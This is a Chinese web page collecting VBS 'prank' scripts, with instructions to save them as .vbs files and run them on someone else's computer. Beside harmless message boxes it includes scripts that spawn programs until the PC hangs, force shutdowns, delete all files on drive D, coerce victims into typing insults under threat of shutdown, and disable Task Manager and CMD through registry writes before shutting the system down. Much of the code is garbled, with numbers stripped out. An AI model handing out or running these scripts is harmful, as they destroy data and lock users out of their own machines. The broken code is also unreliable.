2024年11月vbs整人代码大全｜VBS恶作剧脚本-权权小可爱

　　⑴VBS是是：Microsoft Visual Basic Script Edition。（微软公司可视化BASIC脚本版，在平时我们可以利用VBS做很多事情，当然了要熟悉VBS代码自己制作还是挺难的，不过对于使用现成的VBS代码制作VBS文件还是很简单的，很多朋友想要一些VBS整人代码，下面小编就整理了一些。

　　⑵注意：一些VBS整人代码会引起不适，并且部分代码有高危害性，会删除电脑文件的一定要慎用！

　　⑶在记事本中粘贴VBS代码；

　　⑷另存为VBS文件，双击即可运行。

　　⑸VBS整人代码大全：

　　⑹一做我女朋友吗，告白（抖音里很火的无危害

　　⑺msgbox("做我女朋友可以吗？")

　　⑻msgbox("房产证上写你名")

　　⑼msgbox("保大")

　　⑽msgbox("我妈会游泳")

　　⑾m = MsgBox("做我女朋友好吗?",vbOKCancel)

　　⑿If m = vbOK Then Msgbox("爱你么么哒")

　　⒀If m = vbCancel Then MsgBox "不喜欢你了", vbCritical

　　⒁二无限弹出，点确定继续弹出，把改成你要文字。

　　⒂msgbox “

　　⒃三打开无数个计算器，直到死机（把calc改成别的程序也可以

　　⒄set wsh=createobject("wscript.shell")

　　⒅wsh.run "calc"

　　⒆四直接关机（慎用

　　⒇dim WSHshell

　　⒈set WSHshell = wscript.createobject("wscript.shell")

　　⒉WSHshell.run "shutdown -f -s -t ", ,true

　　⒊五删除D:所有文件（强烈建议不要用，删除重要文件无法恢复可能会负法律责任

　　⒋dim WSHshell

　　⒌set WSHshell = wscript.createobject("wscript.shell")

　　⒍WSHshell.run "cmd /c ""del d:*.* / f /q /s""", ,true

　　⒎六不断弹出窗口

　　⒏msgbox "哈哈你被耍了！"

　　⒐七不断按下alt+f （打开什么就关闭什么……

　　⒑dim WSHshell

　　⒒set WSHshell = wscript.createobject("wscript.shell")

　　⒓WSHshell.SendKeys "%{F}"

　　⒔八按次回车 (以上代码在运行者的电脑上显示个对话框。其中 do until s= ，可以随意更改)

　　⒕do until s=

　　⒖msgbox "哥们，给我按次回车吧",

　　⒗九关不掉的窗口

　　⒘WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

　　⒙WScript.Echo("你是可爱的小朋吗?")

　　⒚WScript.Echo("哈,我想你拉，这你都不知道吗？")

　　⒛WScript.Echo("怎么才来，说~是不是不关心我")

　　①WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

　　②WScript.Echo("小强很生气，后果很严重哦。")

　　③WScript.Echo("嘿嘿！你也会很惨滴哦")

　　④WScript.Echo("是不是想清除我？")

　　⑤WScript.Echo("那你要点上下哦，不过会给你惊喜滴")

　　⑥WScript.Echo("还剩下，快点点哦")

　　⑦WScript.Echo("还剩下，快点，小笨蛋！")

　　⑧WScript.Echo("还剩下对，就这样快点点！")

　　⑨WScript.Echo("还剩下。你啊就是笨，要快哦，我先不打扰你工作。")

　　⑩WScript.Echo("还剩下，记得要快哦！")

　　ⅠWScript.Echo("还剩下")

　　ⅡWScript.Echo("还剩下")

　　ⅢWScript.Echo("还剩下")

　　ⅣWScript.Echo("还剩下")

　　ⅤWScript.Echo("还剩下")

　　ⅥWScript.Echo("还剩下")

　　ⅦWScript.Echo("还剩下")

　　ⅧWScript.Echo("还剩下")

　　ⅨWScript.Echo("还剩下")

　　ⅩWScript.Echo("还剩下")

　　㈠WScript.Echo("还剩下")

　　㈡WScript.Echo("还剩下")

　　㈢WScript.Echo("还剩下")

　　㈣WScript.Echo("还剩下")

　　㈤WScript.Echo("还剩下")

　　㈥WScript.Echo("还剩下")

　　㈦WScript.Echo("还剩下")

　　㈧WScript.Echo("还剩下")

　　㈨WScript.Echo("还剩下")

　　㈩WScript.Echo("还剩下")

　　WScript.Echo("还剩下")

　　WScript.Echo("还剩下停停！！！慢点，我有话要说")

　　WScript.Echo("还剩下，你继续点我就会消失滴")

　　WScript.Echo("还剩下，以后就看不到我拉。")

　　WScript.Echo("还剩下，你现在可以选择停止！")

　　WScript.Echo("还剩下。你还点啊，不要我拉？")

　　WScript.Echo("还剩下，有点伤心拉，干嘛丢弃人家")

　　WScript.Echo("还剩下。疯了，你有点负意！")

　　WScript.Echo("还剩下。对。你就点吧，我恨你！")

　　WScript.Echo("还剩下，不明白，删除我你就好吗？")

　　WScript.Echo("还剩下！真要删除我？")

　　WScript.Echo("还剩下。可是我真的很眷恋你。。。")

　　WScript.Echo("还剩下。不要这么绝情嘛，人家是爱你的！")

　　WScript.Echo("还剩下。哼，既然你这么绝情。也别怪我无义！！！")

　　WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

　　WScript.Echo("想结素我么?那你就再多点一次")

　　十输入指定文字解除，否则关机

　　on error resume next

　　dim WSHshellA

　　set WSHshellA = wscript.createobject("wscript.shell")

　　WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ", ,true

　　do while(a <> "我是猪")

　　a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""","说不说","",,)

　　msgbox chr() + chr() + chr() + a,,"MsgBox"

　　msgbox chr() + chr() + chr() + "早说就行了嘛"

　　dim WSHshell

　　set WSHshell = wscript.createobject("wscript.shell")

　　WSHshell.run "cmd.exe /c shutdown -a", ,true

　　msgbox chr() + chr() + chr() + "哈哈哈哈，好乖"

　　十一还是需要输入我是猪，不然关机

　　set ws=createobject("wscript.shell")

　　call shutdown()

　　do while a<>"我是猪"

　　a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")

　　call shutdown()

　　msgbox "早说就行了嘛",+

　　msgbox"再输一遍我是猪!",+

　　msgbox"我是猪!",+

　　MsgBox"最后一次!",+

　　MsgBox"如果你很快的点过去,不看的话",+

　　MsgBox"我就要你踩我空间的!哼!",+

　　MsgBox"从前有座山!",+

　　MsgBox"山里有个庙.",+

　　MsgBox"庙里有个老和尚在讲故事.",+

　　ws.run"iexplore.exe "

　　msgbox"哎呀累了！数绵羊哄我睡觉",+

　　for i= to

　　MsgBox i&"只绵羊",+

　　msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",+

　　msgbox"最后问个问题，我是不是大好人！",+

　　if inputbox("是不是","请选择","是")<>"是" then

　　call shutdown()

　　sub shutdown(s)

　　select case s

　　ws.run"cmd.exe /c shutdown -r -t -c",

　　ws.run"cmd.exe /c shutdown -a",

　　end select

　　十二输入我是猪结束运行，否则

　　如果别人不输我是猪的话就会一直点下去点到你设定的数字

　　for i= to

　　可以改成其他的数字

　　解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe

　　复制代码代码如下:

　　set s=createobject("wscript.shell")

　　set bag=getobject("winmgmts:\.

　　ootcimv")

　　set pipe=bag.execquery("select * from win_process where name='wscript.exe'")

　　For Each id in pipe

　　if instr(,id.mandLine,wscript.scriptfullname)<> and pipe.count>= then

　　s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr",,"REG_DWORD"

　　s.regwrite"HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD",,"REG_DWORD"

　　id.terminate()

　　s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr",,"REG_DWORD"

　　s.regwrite"HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD",,"REG_DWORD"

　　for i= to

　　s.popup"系统将在"& -i &"秒后关机...",,"系统提示",+

　　Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win_OperatingSystem")

　　For Each eOs In colOS

　　eOs.WinShutdown()

　　：开机就强制自动关机

　　：cmd命令打不开

　　：结束任务不管用

　　：F安全模式也不管用

　　呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳

　　代码破解方法：就是再运行一次，就可以破解了，也就是第次保存的那个VBE文件，，

　　PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。

　　on error resume next

　　dim WSHshellA

　　set WSHshellA = wscript.createobject("wscript.shell")

　　WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试···"" ", ,true

　　do while(a <> "宝宝，我是天下第一大傻B")

　　a = inputbox ("宝宝，我是天下第一大傻B,就不关机，快撒，说 ""宝宝，我是天下第一大傻B""","说不说","不说",,)

　　msgbox chr() + chr() + chr() + a,,"MsgBox"

　　msgbox chr() + chr() + chr() + "早说就行了嘛，乖乖"

　　dim WSHshell

　　set WSHshell = wscript.createobject("wscript.shell")

　　WSHshell.run "cmd.exe /c shutdown -a", ,true

　　msgbox chr() + chr() + chr() + "宝宝是不是又帅啦？？"

　　以上就是这次小编给大家分享的VBS整人代码大全了，还是老话，有危害的轻易不要使用。

2024年11月vbs整人代码大全｜VBS恶作剧脚本

最新文章

推荐文章